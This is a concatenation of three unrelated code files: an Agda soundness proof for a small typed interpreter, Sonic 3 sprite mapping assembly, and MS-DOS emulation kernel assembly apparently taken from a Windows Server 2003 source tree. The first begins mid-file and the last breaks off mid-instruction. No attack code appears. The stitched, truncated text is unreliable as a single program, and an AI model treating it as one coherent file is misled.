interpR-lemma-lemma-rec : ∀ {Γ Γ' τ} → (x : interp nat) → (y : interp τ) → (Θ : rctx Γ Γ') → (Θ' : interpC Γ) → ((interpR Θ Θ' , y) , x) == interpR (lem1 (lem1 Θ)) ((Θ' , y) , x) interpR-lemma-lemma-rec x y Θ Θ' = interpR-lemma-lemma x (lem1 Θ) (Θ' , y) ∘ ap (λ h → h , x) (interpR-lemma-lemma y Θ Θ') interpR-lemma : ∀ {Γ Γ' τ} (e : Γ' |- τ) → (Θ : rctx Γ Γ') → (Θ' : interpC Γ) → (interpE e) (interpR Θ Θ') == (interpE (ren e Θ)) Θ' interpR-lemma (var i0) Θ Θ' = Refl interpR-lemma (var (iS x)) Θ Θ' = interpR-lemma (var x) (helper-r Θ) Θ' interpR-lemma z Θ Θ' = Refl interpR-lemma (suc e) Θ Θ' = ap S (interpR-lemma e Θ Θ') interpR-lemma {Γ} {Γ'} {τ} (rec e e1 e2) Θ Θ' = natrec (interpE e1 (interpR Θ Θ')) (λ n k → interpE e2 ((interpR Θ Θ' , k) , n)) (interpE e (interpR Θ Θ')) =⟨ ap (λ h → natrec h (λ n k → interpE e2 ((interpR Θ Θ' , k) , n)) (interpE e (interpR Θ Θ'))) (interpR-lemma e1 Θ Θ') ⟩ natrec (interpE (ren e1 Θ) Θ') (λ n k → interpE e2 ((interpR Θ Θ' , k) , n)) (interpE e (interpR Θ Θ')) =⟨ ap (λ h → natrec (interpE (ren e1 Θ) Θ') (λ n k → interpE e2 ((interpR Θ Θ' , k) , n)) h) (interpR-lemma e Θ Θ') ⟩ natrec (interpE (ren e1 Θ) Θ') (λ n k → interpE e2 ((interpR Θ Θ' , k) , n)) (interpE (ren e Θ) Θ') =⟨ ap (λ h → natrec (interpE (ren e1 Θ) Θ') h (interpE (ren e Θ) Θ')) (λ= (λ x → λ= (λ y → ap (λ h → interpE e2 h) (interpR-lemma-lemma-rec x y Θ Θ')))) ⟩ natrec (interpE (ren e1 Θ) Θ') (λ n k → interpE e2 (interpR (lem1 (lem1 Θ)) ((Θ' , k) , n))) (interpE (ren e Θ) Θ') =⟨ ap (λ h → natrec (interpE (ren e1 Θ) Θ') h (interpE (ren e Θ) Θ')) (λ= (λ x → λ= (λ y → interpR-lemma {nat :: τ :: Γ} {nat :: τ :: Γ'} e2 (lem1 (lem1 Θ)) ((Θ' , y) , x)))) ⟩ natrec (interpE (ren e1 Θ) Θ') (λ n k → interpE (ren e2 (lem1 (lem1 Θ))) ((Θ' , k) , n)) (interpE (ren e Θ) Θ') ∎ interpR-lemma {Γ} {Γ'} {ρ ⇒ τ} (lam e) Θ Θ' = interpE (lam e) (interpR Θ Θ') =⟨ Refl ⟩ (λ x → interpE e (interpR Θ Θ' , x)) =⟨ λ= (λ x → ap (λ h → interpE e h) (interpR-lemma-lemma x Θ Θ')) ⟩ (λ x → interpE e (interpR (lem1 Θ) (Θ' , x))) =⟨ λ= (λ x → interpR-lemma {ρ :: Γ} {ρ :: Γ'} e (lem1 Θ) (Θ' , x)) ⟩ ((λ x → interpE (ren e (lem1 Θ)) (Θ' , x)) ∎) interpR-lemma (app e1 e2) Θ Θ' = interpE (app e1 e2) (interpR Θ Θ') =⟨ Refl ⟩ interpE e1 (interpR Θ Θ') (interpE e2 (interpR Θ Θ')) =⟨ ap (λ x → x (interpE e2 (interpR Θ Θ'))) (interpR-lemma e1 Θ Θ') ⟩ interpE (ren e1 Θ) Θ' (interpE e2 (interpR Θ Θ')) =⟨ ap (λ x → interpE (ren e1 Θ) Θ' x) (interpR-lemma e2 Θ Θ') ⟩ interpE (ren e1 Θ) Θ' (interpE (ren e2 Θ) Θ') ∎ -- no proof is possible without the genius of Dan Licata mutual wkn-lemma : ∀ {Γ τ} (a : interp τ) → (Θ' : interpC Γ) → Θ' == interpR iS (Θ' , a) wkn-lemma a Θ' = interpR-lemma-lemma-lemma a (λ x → x) Θ' ∘ ! (mutual-lemma Θ') mutual-lemma : ∀ {Γ} (Θ' : interpC Γ) → interpR (λ x → x) Θ' == Θ' mutual-lemma {[]} Θ' = Refl mutual-lemma {A :: Γ} (Θ' , a) = ! (ap (λ h → h , a) (wkn-lemma a Θ')) interp-lemma2 : ∀ {Γ τ' Θ' τ} (a : interp τ) → (e : Γ |- τ') → interpE e Θ' == interpE (wkn e) (Θ' , a) interp-lemma2 {Γ} {τ'} {Θ'} a e = interpE e Θ' =⟨ ap (λ x → interpE e x) (wkn-lemma a Θ') ⟩ interpE e (interpR iS (Θ' , a)) =⟨ interpR-lemma e iS (Θ' , a) ⟩ interpE (ren e iS) (Θ' , a) ∎ interp-lemma : ∀ {Γ Γ' Θ' τ} (a : interp τ) → (Θ : sctx Γ Γ') → interpS Θ Θ' == interpS (wkn-s Θ) (Θ' , a) interp-lemma {Γ} {[]} a Θ = Refl interp-lemma {Γ} {A :: Γ'} a Θ = ap2 (λ x y → x , y) (interp-lemma a (helper Θ)) (interp-lemma2 a (Θ i0)) lemma : ∀ {Γ Γ' Θ' τ} (x : interp τ) → (Θ : sctx Γ Γ') → ((interpS Θ Θ') , x) == (interpS (lem2 Θ) (Θ' , x)) lemma x Θ = ap (λ y → y , x) (interp-lemma x Θ) lemma-c-lemma-lemma : ∀ {Γ Γ' τ} → (x : interp τ) → (Θ : sctx Γ Γ') → (Θ' : interpC Γ) → (interpS Θ Θ') == (interpS (wkn-s Θ) (Θ' , x)) lemma-c-lemma-lemma {Γ} {[]} x Θ Θ' = Refl lemma-c-lemma-lemma {Γ} {A :: Γ'} x Θ Θ' = ap2 (λ x₁ y → x₁ , y) (lemma-c-lemma-lemma x (helper Θ) Θ') (interp-lemma2 x (Θ i0)) lemma-c-lemma : ∀ {Γ Γ' τ} → (x : interp τ) → (Θ : sctx Γ Γ') → (Θ' : interpC Γ) → (interpS Θ Θ' , x) == (interpS (lem2 Θ) (Θ' , x)) lemma-c-lemma {Γ} {[]} x Θ Θ' = Refl lemma-c-lemma {Γ} {A :: Γ'} x Θ Θ' = ap (λ h → h , x) (lemma-c-lemma-lemma x Θ Θ') lemma-c-lemma-rec : ∀ {Γ Γ' τ} → (x : interp nat) → (y : interp τ) → (Θ : sctx Γ Γ') → (Θ' : interpC Γ) → ((interpS Θ Θ' , y) , x) == interpS (lem2 (lem2 Θ)) ((Θ' , y) , x) lemma-c-lemma-rec {Γ} {[]} x y Θ Θ' = Refl lemma-c-lemma-rec {Γ} {A :: Γ'} x y Θ Θ' = lemma-c-lemma x (lem2 Θ) (Θ' , y) ∘ ap (λ h → h , x) (lemma-c-lemma y Θ Θ') lemma-c : ∀ {Γ Γ' τ} (e : Γ' |- τ) → (Θ : sctx Γ Γ') → (Θ' : interpC Γ) → (interpE e) (interpS Θ Θ') == (interpE (subst Θ e)) Θ' lemma-c (var i0) b c = Refl lemma-c (var (iS x)) b c = lemma-c (var x) (helper b) c lemma-c z b c = Refl lemma-c (suc e) b c = ap S (lemma-c e b c) lemma-c {Γ} {Γ'} {τ} (rec e e0 e1) b c = natrec (interpE e0 (interpS b c)) (λ n k → interpE e1 ((interpS b c , k) , n)) (interpE e (interpS b c)) =⟨ ap (λ h → natrec h (λ n k → interpE e1 ((interpS b c , k) , n)) (interpE e (interpS b c))) (lemma-c e0 b c) ⟩ natrec (interpE (subst b e0) c) (λ n k → interpE e1 ((interpS b c , k) , n)) (interpE e (interpS b c)) =⟨ ap (λ h → natrec (interpE (subst b e0) c) (λ n k → interpE e1 ((interpS b c , k) , n)) h) (lemma-c e b c) ⟩ natrec (interpE (subst b e0) c) (λ n k → interpE e1 ((interpS b c , k) , n)) (interpE (subst b e) c) =⟨ ap (λ h → natrec (interpE (subst b e0) c) h (interpE (subst b e) c)) (λ= (λ x → λ= (λ y → ap (λ h → interpE e1 h) (lemma-c-lemma-rec x y b c)))) ⟩ natrec (interpE (subst b e0) c) (λ n k → interpE e1 (interpS (lem2 (lem2 b)) ((c , k) , n))) (interpE (subst b e) c) =⟨ ap (λ h → natrec (interpE (subst b e0) c) h (interpE (subst b e) c)) (λ= (λ x → λ= (λ y → lemma-c {nat :: τ :: Γ} {nat :: τ :: Γ'} e1 (lem2 (lem2 b)) ((c , y) , x)))) ⟩ natrec (interpE (subst b e0) c) (λ n k → interpE (subst (lem2 (lem2 b)) e1) ((c , k) , n)) (interpE (subst b e) c) ∎ lemma-c {Γ} {Γ'} {ρ ⇒ τ} (lam e) b c = interpE (lam e) (interpS b c) =⟨ Refl ⟩ (λ x → interpE e (interpS b c , x)) =⟨ λ= (λ x → ap (λ h → interpE e h) (lemma-c-lemma x b c)) ⟩ (λ x → interpE e (interpS (lem2 b) (c , x))) =⟨ λ= (λ x → lemma-c {ρ :: Γ} {ρ :: Γ'} e (lem2 b) (c , x)) ⟩ (λ x → interpE (subst (lem2 b) e) (c , x)) ∎ lemma-c (app e1 e2) b c = interpE (app e1 e2) (interpS b c) =⟨ Refl ⟩ interpE e1 (interpS b c) (interpE e2 (interpS b c)) =⟨ ap (λ f → f (interpE e2 (interpS b c))) (lemma-c e1 b c) ⟩ interpE (subst b e1) c (interpE e2 (interpS b c)) =⟨ ap (λ f → interpE (subst b e1) c f) (lemma-c e2 b c) ⟩ interpE (subst b e1) c (interpE (subst b e2) c) ∎ -- Soundness: if e >> e' then interp e == interp e' sound : ∀ {τ} (e e' : [] |- τ) → e >> e' → (interpE e <>) == (interpE e' <>) sound (var x) d () sound z d () sound (suc e) .(suc e') (suc-steps .e e' p) = ap S (sound e e' p) sound (rec e e0 e1) .(rec e' e0 e1) (rec-steps .e e' .e0 .e1 p) = ap (natrec (interpE e0 <>) (λ n k → interpE e1 ((<> , k) , n))) (sound e e' p) sound (rec .z .d e1) d (rec-steps-z e .d .e1) = Refl sound (rec .(suc e) e0 e1) .(subst (lem4 e (rec e e0 e1)) e1) (rec-steps-suc e .e0 .e1 x) = lemma-c e1 (lem4 e (rec e e0 e1)) <> sound (lam x) d () sound (app e1 e2) .(app e1' e2) (app-steps .e1 e1' .e2 p) = ap (λ d → d (interpE e2 <>)) (sound e1 e1' p) sound (app e1 e2) .(app e1 e2') (app-steps-2 .e1 .e2 e2' x p) = ap (λ d → interpE e1 <> d) (sound e2 e2' p) sound (app .(lam e1) e2) .(subst (lem3 e2) e1) (app-steps-3 e1 .e2) = lemma-c e1 (lem3 e2) <>
Working Disassembly/General/Sprites/Knuckles/Cutscene/Map - Ending Cutscene.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
101111
<reponame>TeamASM-Blur/Sonic-3-Blue-Balls-Edition Map_602D6: dc.w word_602E6-Map_602D6 dc.w word_602E8-Map_602D6 dc.w word_602FC-Map_602D6 dc.w word_60316-Map_602D6 dc.w word_60330-Map_602D6 dc.w word_60344-Map_602D6 dc.w word_60352-Map_602D6 dc.w word_60360-Map_602D6 word_602E6: dc.w 0 word_602E8: dc.w 3 dc.b $EC, $E, 0, 0, $FF, $EC dc.b $F4, 1, 0, $C, 0, $C dc.b 4, 9, 0, $E, $FF, $F4 word_602FC: dc.w 4 dc.b $EC, $E, 0, $14, $FF, $EC dc.b $F4, 1, 0, $C, 0, $C dc.b 4, 8, 0, $20, $FF, $EC dc.b $C, 8, 0, $23, $FF, $F4 word_60316: dc.w 4 dc.b $EC, $E, 0, $26, $FF, $EC dc.b $F4, 1, 0, $C, 0, $C dc.b 4, 8, 0, $32, $FF, $EC dc.b $C, 8, 0, $23, $FF, $F4 word_60330: dc.w 3 dc.b $EC, $B, 0, $35, $FF, $EC dc.b $F4, 5, 0, $41, 0, 4 dc.b $C, 8, 0, $45, $FF, $F4 word_60344: dc.w 2 dc.b $F4, 4, 8, $48, $FF, $F8 dc.b $FC, $E, 8, $4A, $FF, $F0 word_60352: dc.w 2 dc.b $F4, 9, 8, $56, $FF, $F8 dc.b 4, $D, 8, $5C, $FF, $F0 word_60360: dc.w 2 dc.b $FC, 8, 8, $64, $FF, $F8 dc.b 4, $D, 8, $67, $FF, $F0
base/mvdm/dos/v86/doskrnl/dos/misc.asm
npocmaka/Windows-Server-2003
17
177472
TITLE MISC - Miscellanious routines for MS-DOS NAME MISC ;** Miscellaneous system calls most of which are CAVEAT ; ; $SLEAZEFUNC ; $SLEAZEFUNCDL ; $GET_INDOS_FLAG ; $GET_IN_VARS ; $GET_DEFAULT_DPB ; $GET_DPB ; $DISK_RESET ; $SETDPB ; $Dup_PDB ; $CREATE_PROCESS_DATA_BLOCK ; SETMEM ; FETCHI_CHECK ; $GSetMediaID ; ; Revision history: ; ; sudeepb 14-Mar-1991 Ported for NT DOSEm .xlist .xcref include version.inc include dosseg.inc include dossym.inc include devsym.inc include mult.inc include pdb.inc include dpb.inc include bpb.inc include vector.inc include sf.inc include filemode.inc include mi.inc include curdir.inc include bugtyp.inc include dossvc.inc .cref .list i_need LASTBUFFER,DWORD i_need INDOS,BYTE i_need SYSINITVAR,BYTE i_need CurrentPDB,WORD i_need CreatePDB,BYTE i_need FATBYTE,BYTE i_need THISCDS,DWORD i_need THISSFT,DWORD i_need HIGH_SECTOR,WORD ;AN000; high word of sector # i_need DOS34_FLAG,WORD ;AN000; i_need SC_STATUS,WORD ; M041 I_need JFN,WORD I_need SFN,WORD EXTRN CURDRV :BYTE DosData SEGMENT WORD PUBLIC 'DATA' allow_getdseg EXTRN SCS_TSR :BYTE EXTRN SCS_CMDPROMPT :BYTE EXTRN SCS_DOSONLY :BYTE EXTRN FAKE_NTDPB :BYTE EXTRN SCS_FDACCESS :WORD DosData ENDS DOSCODE SEGMENT EXTRN pJfnFromHandle:near EXTRN SFFromHandle:near EXTRN SFNFree:near EXTRN JFNFree:near allow_getdseg ASSUME SS:DOSDATA,CS:DOSCODE ENTRYPOINTSEG EQU 0CH MAXDIF EQU 0FFFH SAVEXIT EQU 10 WRAPOFFSET EQU 0FEF0h BREAK <SleazeFunc -- get a pointer to media byte> ; ;---------------------------------------------------------------------------- ; ;** $SLEAZEFUNC - Get a Pointer to the Media Byte ; ; Return Stuff sort of like old get fat call ; ; ENTRY none ; EXIT DS:BX = Points to FAT ID byte (IBM only) ; GOD help anyone who tries to do ANYTHING except ; READ this ONE byte. ; DX = Total Number of allocation units on disk ; CX = Sector size ; AL = Sectors per allocation unit ; = -1 if bad drive specified ; USES all ; ;** $SLEAZEFUNCDL - Get a Pointer to the Media Byte ; ; Identical to $SLEAZEFUNC except (dl) = drive ; ; ENTRY (dl) = drive (0=default, 1=A, 2=B, etc.) ; EXIT DS:BX = Points to FAT ID byte (IBM only) ; GOD help anyone who tries to do ANYTHING except ; READ this ONE byte. ; DX = Total Number of allocation units on disk ; CX = Sector size ; AL = Sectors per allocation unit ; = -1 if bad drive specified ; USES all ; ;---------------------------------------------------------------------------- ; procedure $SLEAZEFUNC,NEAR MOV DL,0 entry $SLEAZEFUNCDL context DS MOV AL,DL invoke GETTHISDRV ; Get CDS structure SET_AL_RET: ; MOV AL,error_invalid_drive ; Assume error ;AC000; JC BADSLDRIVE ifdef NEC_98 ;------------------10/01/93 NEC for MAOIX-------------------------------------- BIOSCODE equ 0060h ; BIOS code segment LPTABLE equ 006ch ; Points to Lptable push ax push bx push ds mov bx,BIOSCODE mov ds,bx mov bx,LPTABLE xlat ; Get DA/UA in AL mov ah,01h ; Dummy verify command pop ds pop bx int 1bh ; Dummy ROM call pop ax endif ;NEC_98 HRDSVC SVC_DEMGETDRIVEFREESPACE JC SET_AL_RET ; User FAILed to I 24 mov [FATBYTE],al sl05: ; NOTE THAT A FIXED MEMORY CELL IS USED --> THIS CALL IS NOT ; RE-ENTRANT. USERS BETTER GET THE ID BYTE BEFORE THEY MAKE THE ; CALL AGAIN ;; save the sectors per cluster returned from 32bits ;; this is done because get_user_stack will destroy si mov ax, si ;hkn; FATBYTE is in DATA seg (DOADATA) MOV DI,OFFSET DOSDATA:FATBYTE invoke get_user_stack ASSUME DS:NOTHING MOV [SI.user_CX],CX MOV [SI.user_DX],DX MOV [SI.user_BX],DI MOV [SI.user_AX],AX ;hkn; Use SS as pointer to DOSDATA mov [si.user_DS],SS ; MOV [SI.user_DS],CS ; stash correct pointer return BADSLDRIVE: transfer FCB_Ret_ERR EndProc $SleazeFunc BREAK <$Get_INDOS_Flag -- Return location of DOS critical-section flag> ; ;---------------------------------------------------------------------------- ; ;** $Get_INDOS_Flag - Return location of DOS Crit Section Flag ; ; Returns location of DOS status for interrupt routines ; ; ; ENTRY none ; EXIT (es:bx) = flag location ; USES all ; ;---------------------------------------------------------------------------- ; procedure $GET_INDOS_FLAG,NEAR invoke get_user_stack ;hkn; INDOS is in DATA seg (DOSDATA) MOV [SI.user_BX],OFFSET DOSDATA:INDOS MOV [SI.user_ES],SS return EndProc $GET_INDOS_FLAG BREAK <$Get_IN_VARS -- Return a pointer to DOS variables> ; ;---------------------------------------------------------------------------- ; ;** $Get_IN_Vars - Return Pointer to DOS Variables ; ; Return a pointer to interesting DOS variables This call is version ; dependent and is subject to change without notice in future versions. ; Use at risk. ; ; ENTRY none ; EXIT (es:bx) = address of SYSINITVAR ; uses ALL ; ;---------------------------------------------------------------------------- ; procedure $GET_IN_VARS,NEAR invoke get_user_stack ASSUME DS:nothing ;hkn; SYSINITVAR is in CONST seg (DOSDATA) MOV [SI.user_BX],OFFSET DOSDATA:SYSINITVAR MOV [SI.user_ES],SS return EndProc $GET_IN_VARS BREAK <$Get_Default_DPB,$Get_DPB -- Return pointer to DPB> ; ;---------------------------------------------------------------------------- ; ;** $Get_Default_DPB - Return a pointer to the Default DPB ; ; Return pointer to drive parameter table for default drive ; ; ENTRY none ; EXIT (ds:bx) = DPB address ; USES all ; ;** $Get_DPB - Return a pointer to a specified DPB ; ; Return pointer to a specified drive parameter table ; ; ENTRY (dl) = drive # (0 = default, 1=A, 2=B, etc.) ; EXIT (al) = 0 iff ok ; (ds:bx) = DPB address ; (al) = -1 if bad drive ; USES all ; ;---------------------------------------------------------------------------- ; procedure $GET_DEFAULT_DPB,NEAR MOV DL,0 entry $GET_DPB context DS MOV AL,DL invoke GETTHISDRV ; Get CDS structure JNC gd01 ; no valid drive JMP ISNODRV ; no valid drive gd01: LES DI,[THISCDS] ; check for net CDS TESTB ES:[DI.curdir_flags],curdir_isnet JNZ ISNODRV ; No DPB to point at on NET stuff mov di, offset DOSDATA:FAKE_NTDPB HRDSVC SVC_DEMGETDPB JC ISNODRV ; User FAILed to I 24, only error we invoke get_user_stack ASSUME DS:NOTHING MOV [SI.user_BX],DI MOV [SI.user_DS],SS XOR AL,AL return ISNODRV: MOV AL,-1 return EndProc $GET_Default_dpb BREAK <$Disk_Reset -- Flush out all dirty buffers> ; ;---------------------------------------------------------------------------- ; ;** $Disk_Reset - Flush out Dirty Buffers ; ; $DiskReset flushes and invalidates all buffers. BUGBUG - do ; we really invalidate? SHould we? THis screws non-removable ; caching. Maybe CHKDSK relies upon it, though.... ; ; ENTRY none ; EXIT none ; USES all ; ;---------------------------------------------------------------------------- ; procedure $DISK_RESET,NEAR ASSUME CS:DOSCODE,SS:DOSDATA cmp word ptr ss:[SCS_FDACCESS],0 je res_ret HRDSVC SVC_DEMDISKRESET res_ret: clc return EndProc $DISK_RESET BREAK <$SetDPB - Create a valid DPB from a user-specified BPB> ; ;---------------------------------------------------------------------------- ; ;** $SetDPB - Create a DPB ; ; SetDPB Creates a valid DPB from a user-specified BPB ; ; ENTRY eS:BP Points to DPB ; DS:SI Points to BPB ; ; NT DOSEM is using this function for its sleazy purposes. ; Most of these defined ordinals are for SCS purposes. ; If BP ==0 && SI == 0 implies MVDM sleaz functions ; with function number in AL. Increment max_sleaze_func below ; when adding more sub-functions. ; ; AL = 0 => Allocate SCS console ; Entry ; BX:CX is the 32bit NT handle ; DX:DI = file size ; Exit ; CY clear means success => AX = JFN ; CY set means error ; ; AL = 1 => Free SCS console ; Entry ; BX = JFN ; Exit ; CY clear means success ; CY set means trouble ; ; AL = 2 => Query TSR presence bit ; Entry ; None ; Exit ; CY clear means no TSR is present ; CY set means TSR is present ; TSR bit is reset always after this call ; AL = 3 => Query standard handles ; Entry ; BX = handle (0-stdin, 1-stdout, 2-stderr) ; Exit ; Success - Carry clear (NT handle in BX:CX) ; Failure - Carry set (fails if std handle is local device). ; AL = 4 => NTCMDPROMPT command was set in config.nt ; Entry ; None ; Exit ; None ; ; AL = 5 => Query NTCMDPROMPT state ; Entry ; None ; Exit ; al = 1 means NTCMDPROMPT bit was present in config.nt ; al = 0 means NTCMDPROMPT bit was not present in config.nt ; AL = 6 => DOSONLY command was set in config.nt ; Entry ; None ; Exit ; None ; ; AL = 7 => Query DOSONLY state ; Entry ; None ; Exit ; al = 1 means DOSONLY bit was present in config.nt ; al = 0 means DOSONLY bit was not present in config.nt ; ; EXIT DPB setup ; USES ALL but BP, DS, ES ; ;---------------------------------------------------------------------------- ; word3 dw 3 ; M008 -- word value for divides max_sleaze_scs equ 7 ; MAXIMUM scs SLEAZE functions procedure $SETDPB,NEAR ASSUME CS:DOSCODE,SS:DOSDATA or bp,bp jz check_more jmp real_setdpb check_more: or si,si jz some_more jmp real_setdpb some_more: cmp al,max_sleaze_scs jbe check_done jmp setdpb check_done: or al,al jz alloc_con ; al =0 dec al jz free_con ; al =1 dec al jz q_tsr ; al =2 dec al jnz do_prmpt jmp query_con ; al =3 do_prmpt: dec al jnz q_prmpt mov byte ptr ss:[scs_cmdprompt],1 jmp ok_ret q_prmpt: dec al jnz dosonly mov al, byte ptr ss:[scs_cmdprompt] jmp ok_ret dosonly: dec al jnz q_dosonly mov byte ptr ss:[scs_dosonly],1 jmp ok_ret q_dosonly: mov al, byte ptr ss:[scs_dosonly] jmp ok_ret q_tsr: cmp byte ptr ss:[SCS_TSR],0 mov byte ptr [SCS_TSR],0 jz q_ret jmp setdpb q_ret: jmp ok_ret ; free scs console free_con: call SFFromHandle ; get system file entry in es:di jnc fc_10 jmp setdpb fc_10: test es:[di.sf_flags],sf_scs_console jnz fc_15 jmp setdpb fc_15: MOV ES:[DI.sf_ref_count],0 ; free sft call pJFNFromHandle ; es:di = pJFN (handle); jnc fc_20 jmp setdpb fc_20: MOV BYTE PTR ES:[DI],0FFh ; release the JFN jmp ok_ret alloc_con: push bx push cx push dx ; save file size push di call SFNFree ; get a free sfn JNC ac_5 ; oops, no free sft's JMP alloc_err ; oops, no free sft's ac_5: MOV SFN,BX ; save the SFN for later MOV WORD PTR ThisSFT,DI ; save the SF offset MOV WORD PTR ThisSFT+2,ES ; save the SF segment invoke JFNFree ; get a free jfn JC alloc_err ; No need to free SFT; DOS is robust enough for this MOV JFN,BX ; save the jfn itself MOV BX,SFN MOV ES:[DI],BL ; assign the JFN mov di,WORD PTR ThisSFT MOV es,WORD PTR ThisSFT+2 mov es:[di.sf_ref_count],1 MOV BYTE PTR ES:[DI.sf_mode],0 MOV BYTE PTR ES:[DI.sf_attr],0 mov word ptr ES:[DI.SF_Position],0 mov word ptr ES:[DI.SF_Position+2],0 pop word ptr ES:[DI.SF_Size] pop word ptr ES:[DI.SF_Size + 2] mov word ptr ES:[DI.SF_flags], sf_scs_console cmp JFN, 0 ;STDIN? jne ac_6 or word ptr ES:[DI.sf_flags], sf_nt_pipe_in ;special case for ac_6: pop cx pop bx mov word ptr es:[di.sf_NTHandle],cx mov word ptr es:[di.sf_NTHandle+2],bx mov ax,JFN MOV SFN,-1 ; clear out sfn pointer ;smr;SS Override ok_ret: transfer Sys_Ret_OK ; bye with no errors alloc_err: pop di pop dx pop cx pop bx setdpb: error error_invalid_function query_con: call SFFromHandle ; get system file entry in es:di jnc qc_10 jmp setdpb qc_10: test es:[di.sf_flags],devid_device jnz setdpb mov cx,word ptr es:[di.sf_NTHandle] mov bx,word ptr es:[di.sf_NTHandle+2] ; bx:cx is NT handle invoke Get_user_stack MOV DS:[SI.User_CX],CX MOV DS:[SI.User_BX],BX jmp short ok_ret EndProc $SETDPB real_setdpb: MOV DI,BP ADD DI,2 ; Skip over dpb_drive and dpb_UNIT LODSW STOSW ; dpb_sector_size CMP BYTE PTR [SI.BPB_NUMBEROFFATS-2],0 ; FAT file system drive ;AN000; JNZ yesfat ; yes ;AN000; MOV BYTE PTR ES:[DI.dpb_FAT_count-4],0 JMP short setend ; NO ;AN000; yesfat: MOV DX,AX LODSB DEC AL STOSB ; dpb_cluster_mask INC AL XOR AH,AH LOG2LOOP: test AL,1 JNZ SAVLOG INC AH SHR AL,1 JMP SHORT LOG2LOOP SAVLOG: MOV AL,AH STOSB ; dpb_cluster_shift MOV BL,AL MOVSW ; dpb_first_FAT Start of FAT (# of reserved sectors) LODSB STOSB ; dpb_FAT_count Number of FATs ; OR AL,AL ; NONFAT ? ;AN000; ; JZ setend ; yes, don't do anything ;AN000; MOV BH,AL LODSW STOSW ; dpb_root_entries Number of directory entries MOV CL,5 SHR DX,CL ; Directory entries per sector DEC AX ADD AX,DX ; Cause Round Up MOV CX,DX XOR DX,DX DIV CX MOV CX,AX ; Number of directory sectors INC DI INC DI ; Skip dpb_first_sector MOVSW ; Total number of sectors in DSKSIZ (temp as dpb_max_cluster) LODSB MOV ES:[BP.dpb_media],AL ; Media byte LODSW ; Number of sectors in a FAT STOSW ;AC000;;>32mb dpb_FAT_size MOV DL,BH ;AN000;;>32mb XOR DH,DH ;AN000;;>32mb MUL DX ;AC000;;>32mb Space occupied by all FATs ADD AX,ES:[BP.dpb_first_FAT] STOSW ; dpb_dir_sector ADD AX,CX ; Add number of directory sectors MOV ES:[BP.dpb_first_sector],AX MOV CL,BL ;F.C. >32mb ;AN000; CMP WORD PTR ES:[BP.DSKSIZ],0 ;F.C. >32mb ;AN000; JNZ normal_dpb ;F.C. >32mb ;AN000; XOR CH,CH ;F.C. >32mb ;AN000; MOV BX,WORD PTR [SI+BPB_BigTotalSectors-BPB_SectorsPerTrack] ;AN000; MOV DX,WORD PTR [SI+BPB_BigTotalSectors-BPB_SectorsPerTrack+2] ;AN000; SUB BX,AX ;AN000;;F.C. >32mb SBB DX,0 ;AN000;;F.C. >32mb OR CX,CX ;AN000;;F.C. >32mb JZ norot ;AN000;;F.C. >32mb rott: ;AN000;;F.C. >32mb CLC ;AN000;;F.C. >32mb RCR DX,1 ;AN000;;F.C. >32mb RCR BX,1 ;AN000;;F.C. >32mb LOOP rott ;AN000;;F.C. >32mb norot: ;AN000; MOV AX,BX ;AN000;;F.C. >32mb JMP short setend ;AN000;;F.C. >32mb normal_dpb: SUB AX,ES:[BP.DSKSIZ] NEG AX ; Sectors in data area ;; MOV CL,BL ; dpb_cluster_shift SHR AX,CL ; Div by sectors/cluster setend: ; M008 - CAS ; INC AX ; +2 (reserved), -1 (count -> max) ; ; There has been a bug in our fatsize calculation for so long ; that we can't correct it now without causing some user to ; experience data loss. There are even cases where allowing ; the number of clusters to exceed the fats is the optimal ; case -- where adding 2 more fat sectors would make the ; data field smaller so that there's nothing to use the extra ; fat sectors for. ; ; Note that this bug had very minor known symptoms. CHKDSK would ; still report that there was a cluster left when the disk was ; actually full. Very graceful failure for a corrupt system ; configuration. There may be worse cases that were never ; properly traced back to this bug. The problem cases only ; occurred when partition sizes were very near FAT sector ; rounding boundaries, which were rare cases. ; ; Also, it's possible that some third-party partition program might ; create a partition that had a less-than-perfect FAT calculation ; scheme. In this hypothetical case, the number of allocation ; clusters which don't actually have FAT entries to represent ; them might be larger and might create a more catastrophic ; failure. So we'll provide the safeguard of limiting the ; max_cluster to the amount that will fit in the FATs. ; ; ax = maximum legal cluster, ES:BP -> dpb ; make sure the number of fat sectors is actually enough to ; hold that many clusters. otherwise, back the number of ; clusters down mov bx,ax ; remember calculated # clusters mov ax,ES:[BP.dpb_fat_size] mul ES:[BP.dpb_sector_size] ; how big is the FAT? cmp bx,4096-10 ; test for 12 vs. 16 bit fat jb setend_fat12 shr dx,1 rcr ax,1 ; find number of entries cmp ax,4096-10+1 ; would this truncation move us ; ; into 12-bit fatland? jb setend_faterr ; then go ahead and let the ; ; inconsistency pass through ; ; rather than lose data by ; ; correcting the fat type jmp short setend_fat16 setend_fat12: add ax,ax ; (fatsiz*2)/3 = # of fat entries adc dx,dx div cs:word ptr word3 setend_fat16: dec ax ; limit at 1 cmp ax,bx ; is fat big enough? jbe setend_fat ; use max value that'll fit setend_faterr: mov ax,bx ; use calculated value setend_fat: ; now ax = maximum legal cluster ; end M008 MOV ES:[BP.dpb_max_cluster],AX MOV ES:[BP.dpb_next_free],0 ; Init so first ALLOC starts at ; begining of FAT MOV ES:[BP.dpb_free_cnt],-1 ; current count is invalid. return BREAK <$Create_Process_Data_Block,SetMem -- Set up process data block> ; ;---------------------------------------------------------------------------- ; ;** $Dup_PDB ; ; Inputs: DX is new segment address of process ; SI is end of new allocation block ; ;---------------------------------------------------------------------------- ; procedure $Dup_PDB,NEAR ASSUME SS:NOTHING ;hkn; CreatePDB would have a CS override. This is not valid. ;hkn; Must set up ds in order to acess CreatePDB. Also SS is ;hkn; has been assumed to be NOTHING. It may not have DOSDATA. getdseg <ds> ; ds -> dosdata MOV CreatePDB,0FFH ; indicate a new process MOV DS,CurrentPDB PUSH SI JMP SHORT CreateCopy EndProc $Dup_PDB ; ;---------------------------------------------------------------------------- ; ; Inputs: ; DX = Segment number of new base ; Function: ; Set up program base and copy term and ^C from int area ; Returns: ; None ; Called at DOS init ; ;---------------------------------------------------------------------------- ; procedure $CREATE_PROCESS_DATA_BLOCK,NEAR ASSUME SS:NOTHING CALL get_user_stack MOV DS,[SI.user_CS] PUSH DS:[PDB_Block_len] CreateCopy: MOV ES,DX XOR SI,SI ; copy entire PDB MOV DI,SI MOV CX,80H REP MOVSW ; DOS 3.3 7/9/86 MOV CX,FilPerProc ; copy handles in case of MOV DI,PDB_JFN_Table ; Set Handle Count has been issued PUSH DS LDS SI,DS:[PDB_JFN_Pointer] REP MOVSB POP 